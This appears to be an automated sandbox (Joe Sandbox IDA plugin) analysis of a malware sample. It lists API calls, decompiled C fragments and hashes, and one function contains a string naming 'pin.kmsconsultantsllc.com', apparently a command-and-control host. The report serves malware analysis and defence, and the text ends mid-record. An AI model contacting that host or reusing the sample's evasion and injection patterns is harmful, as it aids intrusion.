WideCharToMultiByte.KERNEL32(?,00000000,0043F9F4,?,?,0000003F,00000000,?), ref: 004359E6
WideCharToMultiByte.KERNEL32(?,00000000,0043FA48,000000FF,?,0000003F,00000000,?,?,?,0000003F,00000000,?), ref: 00435A1A

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: _strlen$ByteCharExceptionFilterMultiProcessUnhandledWide$CriticalCurrentDebuggerEnterErrorFreeHeapInformationLastPresentSectionSleepTerminateTimeZone
String ID:
API String ID: 554100874-0
Opcode ID: a23dd0aef32d411eedd8277993086efec89d718575da4a2751a71abeea41b186
Instruction ID: f099ce02211fde11babf422745d9cbb95131b3c3b2f763a31781b45142940d61
Opcode Fuzzy Hash: a23dd0aef32d411eedd8277993086efec89d718575da4a2751a71abeea41b186
Instruction Fuzzy Hash: 4891A0B1D006559FCB10BFA5DC829AEBBB8AF0C324F64213FE545A7291D7388D418B6D

Function 004174C0, Relevance: 7.6, APIs: 6, Instructions: 146memorystring

APIs

Part of subcall function 00418AF0: GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000F), ref: 00418C65
Part of subcall function 00418AF0: GetProcAddress.KERNELBASE(00000000), ref: 00418C6C
Part of subcall function 00418AF0: OpenProcess.KERNELBASE(00000400,00000000,00000000), ref: 00418CA1
Part of subcall function 00418AF0: IsWow64Process.KERNELBASE(00000000,00000000), ref: 00418CB8
Part of subcall function 00418AF0: CloseHandle.KERNEL32(00000000), ref: 00418CD3

Part of subcall function 00416D90: GetModuleHandleA.KERNEL32(00000000,00000021,0000000A), ref: 00416F6A
Part of subcall function 00416D90: GetProcAddress.KERNEL32(00000000,00000000,00000021,0000000A), ref: 00416FA1
Part of subcall function 00416D90: GetModuleHandleA.KERNEL32(00000000,00000021,0000000A), ref: 00416FBE
Part of subcall function 00416D90: GetProcAddress.KERNEL32(00000000,00000000,00000021,00000021,0000000A), ref: 00417126
Part of subcall function 00416D90: GetProcessHeap.KERNEL32(00000008,00000200), ref: 0041718F
Part of subcall function 00416D90: HeapAlloc.KERNEL32(00000000), ref: 00417196
Part of subcall function 00416D90: GetProcessHeap.KERNEL32(00000008,00000100), ref: 004171B1
Part of subcall function 00416D90: HeapAlloc.KERNEL32(00000000), ref: 004171B8
Part of subcall function 00416D90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041743A
Part of subcall function 00416D90: HeapFree.KERNEL32(00000000), ref: 00417441
Part of subcall function 00416D90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417453
Part of subcall function 00416D90: HeapFree.KERNEL32(00000000), ref: 0041745A

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0041750B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041754F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00417562
lstrcmpiA.KERNEL32(?,00000000), ref: 004175D4
lstrcmpiA.KERNEL32(?,00000000), ref: 00417615
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041767A

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFreeHandleVirtual$AddressModuleProc$lstrcmpi$CloseOpenWow64
String ID:
API String ID: 2044046544-0
Opcode ID: 9a029c867e87b2551339b0348c261e649d72789d5e090a4aa4530d049057f8e0
Instruction ID: 2b76acc32f98a31c99c6084a3713859d2a9a4cc936ba29d33605e94b3b3ddbad
Opcode Fuzzy Hash: 9a029c867e87b2551339b0348c261e649d72789d5e090a4aa4530d049057f8e0
Instruction Fuzzy Hash: ED515B74E44209EFDB04CF94C985BEEB7B5FB48704F20855AE505AB381D778AA81CFA4

Function 0041642B, Relevance: 7.5, APIs: 5, Instructions: 45memorysleepthread

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00418710: lstrlenW.KERNEL32(00416A05), ref: 00418728
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,?), ref: 00418752
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 00418759
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,?), ref: 00418779
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 00418780
Part of subcall function 00418710: lstrcpyW.KERNEL32(00000000,00000000), ref: 0041879B
Part of subcall function 00418710: GetTickCount.KERNEL32(00000020), ref: 0041886D
Part of subcall function 00418710: wsprintfW.USER32 ref: 00418884
Part of subcall function 00418710: wsprintfW.USER32 ref: 0041889A
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,00000104), ref: 004188AA
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 004188B1
Part of subcall function 00418710: GetTickCount.KERNEL32 ref: 004188C4
Part of subcall function 00418710: wsprintfA.USER32 ref: 00418A63
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418A9B
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418AA2
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AB6
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418ABD
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AD4
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418ADB

Part of subcall function 00416AF0: OpenMutexW.KERNEL32(001F0001,00000000,00000000,00000060), ref: 00416C33
Part of subcall function 00416AF0: CreateMutexW.KERNELBASE(00000000,00000000,00000000), ref: 00416C4F
Part of subcall function 00416AF0: GetCurrentProcess.KERNEL32(00000000), ref: 00416C5C
Part of subcall function 00416AF0: TerminateProcess.KERNEL32(00000000), ref: 00416C63

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 004124A0: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000104,00000068,00000000), ref: 004126FA
Part of subcall function 004124A0: GetShortPathNameW.KERNEL32 ref: 00412710
Part of subcall function 004124A0: wsprintfW.USER32 ref: 00412829
Part of subcall function 004124A0: CoInitializeEx.OLE32(00000000,00000006), ref: 0041292E
Part of subcall function 004124A0: LoadLibraryA.KERNEL32(00000000), ref: 00412AA0
Part of subcall function 004124A0: GetProcAddress.KERNEL32(00000000), ref: 00412AA7
Part of subcall function 004124A0: GetForegroundWindow.USER32 ref: 00412AB3
Part of subcall function 004124A0: GetLastError.KERNEL32 ref: 00412AD4
Part of subcall function 004124A0: Sleep.KERNEL32(00000064), ref: 00412AF0
Part of subcall function 004124A0: CoUninitialize.OLE32 ref: 00412AFF
Part of subcall function 004124A0: CloseHandle.KERNEL32(?), ref: 00412B16

GetCurrentProcess.KERNEL32 ref: 0041647E

Part of subcall function 004110F0: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00411108
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00411124
Part of subcall function 004110F0: GetLastError.KERNEL32 ref: 00411132
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000008,?), ref: 00411147
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000), ref: 0041114E
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,?,?,00000015), ref: 00411235
Part of subcall function 004110F0: GetSidSubAuthorityCount.ADVAPI32(?,00000012), ref: 004112FF
Part of subcall function 004110F0: GetSidSubAuthority.ADVAPI32(00000000,?,00000010,?,00000012), ref: 004113D8
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041143C
Part of subcall function 004110F0: HeapFree.KERNEL32(00000000), ref: 00411443
Part of subcall function 004110F0: CloseHandle.KERNEL32(?), ref: 00411458

GetVersion.KERNEL32 ref: 004164B8
GetProcessHeap.KERNEL32(00000000,00000000,0066FAB0), ref: 00416532
HeapFree.KERNEL32(00000000), ref: 00416539
ExitProcess.KERNEL32 ref: 00416541
GetProcessHeap.KERNEL32(00000008,00000208,00000050,0000009C), ref: 00416969
HeapAlloc.KERNEL32(00000000), ref: 00416970
GetProcessHeap.KERNEL32(00000008,00000208), ref: 00416980
HeapAlloc.KERNEL32(00000000), ref: 00416987
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000104), ref: 004169BA
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000104), ref: 004169D2

Part of subcall function 0040DA90: GetEnvironmentVariableA.KERNEL32(00000000,?,00000104,0000000D,00000000), ref: 0040DB62
Part of subcall function 0040DA90: lstrlenA.KERNEL32(?), ref: 0040DB73

ExitProcess.KERNEL32 ref: 00416A0A

Part of subcall function 00404B80: PathFindFileNameW.SHLWAPI(004169F5), ref: 00404B8A

CreateThread.KERNELBASE(00000000,00000000,0040EB00,00000000,00000000,00000000), ref: 00416A69
CloseHandle.KERNEL32(00000000), ref: 00416A70
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00416A7C
HeapFree.KERNEL32(00000000), ref: 00416A83
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00416A8F
HeapFree.KERNEL32(00000000), ref: 00416A96
Sleep.KERNELBASE(000000FF), ref: 00416AA7

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Alloc$Environmentwsprintf$CloseCountExpandHandleStringsToken$AuthorityCreateCurrentErrorExitInformationLastMutexNameOpenPathSleepTicklstrlen$AddressFileFindForegroundInitializeLibraryLoadProcShortTerminateThreadUninitializeVariableVersionWindowlstrcpy
String ID:
API String ID: 2808051985-0
Opcode ID: 5e770ab4a66cee136b2e02711ef9a6f02d34a6ee4619145c6bccf1af569c21b7
Instruction ID: 50989eea6562a40f2da6a98b59a25bfc15963cf24bd2e818bc29d45912a19e58
Opcode Fuzzy Hash: 5e770ab4a66cee136b2e02711ef9a6f02d34a6ee4619145c6bccf1af569c21b7
Instruction Fuzzy Hash: 1A112AB1C802269BDB24DFA5DC997FD76B2EF45316F0080B9E14AA6681C73C4684DF54

Function 0042B041, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47

C-Code - Quality: 89%

			E0042B041(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x43ae70);
				E004294C4(__ebx, __edi, __esi);
				_t31 = E00429061(__ebx, __edx, _t35);
				_t15 =  *0x43ee04; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00429908(_t25, _t29, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x43ec08; // 0x43e7e0
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x43e7e0;
								if(__eflags != 0) {
									_push(_t33);
									E0042B4FE(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x43ec08; // 0x43e7e0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x43ec08; // 0x43e7e0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0042B0DC();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00427E19(0x20);
				}
				return E00429509(_t33);
			}

0x0042b041
0x0042b041
0x0042b041
0x0042b041
0x0042b043
0x0042b048
0x0042b052
0x0042b054
0x0042b05c
0x0042b07d
0x0042b083
0x0042b087
0x0042b08a
0x0042b08d
0x0042b093
0x0042b095
0x0042b097
0x0042b09a
0x0042b0a0
0x0042b0a2
0x0042b0a4
0x0042b0aa
0x0042b0ac
0x0042b0ad
0x0042b0b2
0x0042b0aa
0x0042b0a2
0x0042b0b3
0x0042b0b8
0x0042b0bb
0x0042b0c1
0x0042b0c5
0x0042b0c5
0x0042b0cb
0x0042b0d2
0x0042b064
0x0042b064
0x0042b064
0x0042b069
0x0042b06d
0x0042b072
0x0042b07a

APIs

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

InterlockedDecrement.KERNEL32(?), ref: 0042B09A

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

InterlockedIncrement.KERNEL32(0043E7E0), ref: 0042B0C5

Strings

C, xrefs: 0042B0A4
C, xrefs: 0042B0B3, 0042B0BB

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Interlocked$CriticalDecrementEnterErrorFreeHeapIncrementLastSection
String ID: C$C
API String ID: 3442063421-2656321014
Opcode ID: 2e14fea014165f4c6a7f04daa93ca562e744b6256db5f299d4bfbbfdcf459765
Instruction ID: 91f894a74d929026995a13e7c2b26f2052dd34a9361bd440c7f084f66fb3c2a5
Opcode Fuzzy Hash: 2e14fea014165f4c6a7f04daa93ca562e744b6256db5f299d4bfbbfdcf459765
Instruction Fuzzy Hash: 43016132B41631ABDB22AB26B50A75F7360EF04714F90511BE824673D1CB6CAD41DBDE

Function 00425380, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30
thread

C-Code - Quality: 100%

			E00425380(char _a4) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				char* _t18;

				GetTickCount();
				_a4 = 0xf7dda4d8;
				_v16 = 0x52d4;
				_t18 =  &_a4;
				_v8 = _t18;
				_v12 =  *_v8 + _v16;
				_v24 = 0;
				while(_v24 < 4) {
					GetCommandLineA();
					_v28 = 0x73;
					_a4 = _v28 + _a4 + _a4;
					GetCurrentThread();
					_t18 = _v24 + 1;
					_v24 = _t18;
				}
				return _t18;
			}

0x00425386
0x0042538c
0x00425393
0x0042539a
0x0042539d
0x004253a8
0x004253ab
0x004253bd
0x004253c3
0x004253c9
0x004253d9
0x004253dc
0x004253b7
0x004253ba
0x004253ba
0x004253e7

APIs

GetTickCount.KERNEL32 ref: 00425386
GetCommandLineA.KERNEL32 ref: 004253C3
GetCurrentThread.KERNEL32 ref: 004253DC

Strings

s, xrefs: 004253C9

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CommandCountCurrentLineThreadTick
String ID: s
API String ID: 1661061506-453955339
Opcode ID: c350c9397c29f15430fcc46fc5c2148563fc0ae0f897f83693546184c7ee9987
Instruction ID: e6f64c116429f274a5a66844c14c75ac1d5c20ec2c1d7e4a601d815889c25262
Opcode Fuzzy Hash: c350c9397c29f15430fcc46fc5c2148563fc0ae0f897f83693546184c7ee9987
Instruction Fuzzy Hash: 1601F274901208EFCF04DF94D5886ADBBB0EF08358F60806ADC0A6B300D3B5AB44DF9A

Function 00427E3D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloader

C-Code - Quality: 100%

			E00427E3D(intOrPtr _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleA("mscoree.dll");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "CorExitProcess");
					if(_t2 != 0) {
						return _t2->i(_a4);
					}
				}
				return _t2;
			}

0x00427e42
0x00427e4a
0x00427e52
0x00427e5a
0x00000000
0x00427e60
0x00427e5a
0x00427e62

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,00427E6C,?,0042EF4A,000000FF,0000001E,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018), ref: 00427E42
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055), ref: 00427E52

Strings

CorExitProcess, xrefs: 00427E4C
mscoree.dll, xrefs: 00427E3D

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 957239902c192f2fe0c2c973291106f88b9afe64b16f2f2b76204317f721dde6
Instruction ID: 4db5ece34eea3f491aadccc4da7df869644e7cf6949cfcaf7ab8b0664d6f61df
Opcode Fuzzy Hash: 957239902c192f2fe0c2c973291106f88b9afe64b16f2f2b76204317f721dde6
Instruction Fuzzy Hash: D9C08C303483007A8F101BB0AD49B5B35BC6EC0B02B90A9AAB801E02A0CFF8CC00D53C

Function 00411470, Relevance: 6.4, APIs: 5, Instructions: 101memorystring

APIs

lstrlenA.KERNEL32(00000000,00000000), ref: 0041149A
GetProcessHeap.KERNEL32(00000008,-00000001,?,00000000), ref: 004114EC
HeapAlloc.KERNEL32(00000000,?,00000000), ref: 004114F3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00000000), ref: 00411584
HeapFree.KERNEL32(00000000), ref: 0041158B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFreelstrlen
String ID:
API String ID: 709705401-0
Opcode ID: c3cb4b8c04e0ee85a01796674530b836af00549f86a426ce1eef51322c0df22f
Instruction ID: e4c569550ded03c5ef5ea860e3b882c49419d71f056c3ccc6e6b40cab3d2ef98
Opcode Fuzzy Hash: c3cb4b8c04e0ee85a01796674530b836af00549f86a426ce1eef51322c0df22f
Instruction Fuzzy Hash: 79411575D00208FFDF00DFA8D884BEEBBB5AB88315F10819AE915A7341C774AA80CB84

Function 00410E70, Relevance: 6.3, APIs: 5, Instructions: 25memory

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,00410D7B,?,?,?,?,?,?,?,?,?,00408673), ref: 00410E84
HeapFree.KERNEL32(00000000,?,00410D7B), ref: 00410E8B
GetProcessHeap.KERNEL32(00000000,0066FAB0,?,00410D7B,?,?,?,?,?,?,?,?,?,00408673), ref: 00410EA3
HeapFree.KERNEL32(00000000,?,00410D7B), ref: 00410EAA
CloseHandle.KERNEL32(00000000), ref: 00410EC0

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$FreeProcess$CloseHandle
String ID:
API String ID: 1236364404-0
Opcode ID: cb5b3f50700deb4d5678720a0b23d78c1514d9dd98b4b355636ebb3d7e929a2d
Instruction ID: 34f10fabe843f33f3da4404f9063ff885635366bc1e1cbb2cbc462151f4c14b1
Opcode Fuzzy Hash: cb5b3f50700deb4d5678720a0b23d78c1514d9dd98b4b355636ebb3d7e929a2d
Instruction Fuzzy Hash: 8AF0AC712C0300EBE724DBA5ED8CBE637A9A708716F809434EA05451E1C7B45CC1CF6C

Function 00419A40, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103string

APIs

Part of subcall function 00418F00: LoadLibraryA.KERNEL32(00000000), ref: 004190C6
Part of subcall function 00418F00: GetProcAddress.KERNEL32(00000000), ref: 004190CD
Part of subcall function 00418F00: GetProcessHeap.KERNEL32(00000008,?), ref: 004190DF
Part of subcall function 00418F00: HeapAlloc.KERNEL32(00000000), ref: 004190E6
Part of subcall function 00418F00: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041915C
Part of subcall function 00418F00: HeapFree.KERNEL32(00000000), ref: 00419163

lstrcpyA.KERNEL32(00000000,-0041E2F0,DDDD,00000004,00408712,?,?,?,?), ref: 00419B0E
lstrcpyA.KERNEL32(00000000,-0041E2E7), ref: 00419B5F

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

Strings

pin.kmsconsultantsllc.com, xrefs: 00419ADD, 00419AFB, 00419B4C
DDDD, xrefs: 00419AB1

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Freelstrcpy$AddressAllocLibraryLoadProc
String ID: DDDD$pin.kmsconsultantsllc.com
API String ID: 541654834-1200684731
Opcode ID: 3bd556704907d7dfcaa77bd78b2b304fa191948547ea78903003e701a1a8586b
Instruction ID: b316124bec399578e134119415bf661f8163251e420cfcf60e48dfde66068c60
Opcode Fuzzy Hash: 3bd556704907d7dfcaa77bd78b2b304fa191948547ea78903003e701a1a8586b
Instruction Fuzzy Hash: E2415171900209EFDB04CF98D454BEEBBB5FB88304F508469E511AB380C779AF81CB84

Function 0043067B, Relevance: 6.1, APIs: 4, Instructions: 101

C-Code - Quality: 72%

			E0043067B(intOrPtr __edx, intOrPtr _a4) {
				char* _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				void* _t46;
				void* _t51;
				intOrPtr _t58;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				void* _t66;
				intOrPtr _t67;
				intOrPtr* _t69;
				char* _t73;
				void* _t75;
				char* _t76;
				void* _t77;
				void* _t78;
				void* _t79;

				_t65 = __edx;
				_push(_t66);
				_t58 = 0;
				E0042AB46( &_v32, _t66, _a4);
				_t67 =  *((intOrPtr*)(_v32 + 0xd4));
				_t71 = _t67 + 0x38;
				_v8 = _t67 + 0x38;
				_v12 = 0xc;
				do {
					_v16 = E0042AA00( *((intOrPtr*)(_t71 + 0x30)));
					_t37 = E0042AA00( *_t71);
					_t63 = _v16;
					_t71 = _v8 + 4;
					_t12 =  &_v12;
					 *_t12 = _v12 - 1;
					_t15 = _t63 + 2; // 0x2
					_t58 = _t37 + _t58 + _t15;
					_v8 = _v8 + 4;
				} while ( *_t12 != 0);
				_t17 = _t58 + 1; // 0x3
				_t73 = E0042B5BD(_t17);
				_pop(_t64);
				_v8 = _t73;
				if(_t73 != 0) {
					_t69 = _t67 + 0x68;
					_v12 = 0xc;
					do {
						 *_t73 = 0x3a;
						_t75 = _t73 + 1;
						_t46 = E0042AA8B(_t65, _t75, _v8 - _t75 + _t58 + 1,  *((intOrPtr*)(_t69 - 0x30)));
						_t79 = _t78 + 0xc;
						if(_t46 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(_t58, _t64, _t65, _t69, 0);
							_t79 = _t79 + 0x14;
						}
						_t76 = _t75 + E0042AA00(_t75);
						 *_t76 = 0x3a;
						_t77 = _t76 + 1;
						_t51 = E0042AA8B(_t65, _t77, _v8 - _t77 + _t58 + 1,  *_t69);
						_t78 = _t79 + 0x10;
						if(_t51 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(_t58, _t64, _t65, _t69, 0);
							_t78 = _t78 + 0x14;
						}
						_t73 = _t77 + E0042AA00(_t77);
						_t69 = _t69 + 4;
						_t27 =  &_v12;
						 *_t27 = _v12 - 1;
						_pop(_t64);
					} while ( *_t27 != 0);
					 *_t73 = 0;
				}
				if(_v20 != 0) {
					 *(_v24 + 0x70) =  *(_v24 + 0x70) & 0xfffffffd;
				}
				return _v8;
			}

0x0043067b
0x00430683
0x0043068a
0x0043068c
0x00430694
0x0043069a
0x0043069d
0x004306a0
0x004306a7
0x004306b1
0x004306b4
0x004306be
0x004306c3
0x004306c6
0x004306c6
0x004306c9
0x004306c9
0x004306cd
0x004306cd
0x004306d2
0x004306db
0x004306df
0x004306e0
0x004306e3
0x004306e5
0x004306e8
0x004306ef
0x004306f2
0x004306f8
0x00430701
0x00430706
0x0043070b
0x0043070f
0x00430710
0x00430711
0x00430712
0x00430713
0x00430714
0x00430719
0x00430719
0x00430722
0x00430727
0x0043072c
0x00430735
0x0043073a
0x0043073f
0x00430743
0x00430744
0x00430745
0x00430746
0x00430747
0x00430748
0x0043074d
0x0043074d
0x00430756
0x00430758
0x0043075b
0x0043075b
0x0043075e
0x0043075e
0x00430761
0x00430761
0x0043076b
0x00430770
0x00430770
0x00430778

APIs

_strlen.LIBCMT ref: 004306AA
_strlen.LIBCMT ref: 004306B4

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

_strlen.LIBCMT ref: 0043071D

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

_strlen.LIBCMT ref: 00430751

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: _strlen$ExceptionFilterProcessUnhandled$CurrentDebuggerPresentSleepTerminate
String ID:
API String ID: 1975150641-0
Opcode ID: 47933fb5141610f3c38ad6064849ea1273365f1c966ce71b99d5bc0c0d9c7a6b
Instruction ID: b7b86f61a282c2a3d9a10b7e5fbb690d3cde4e682fb7e780a7f9015b704a1ca9
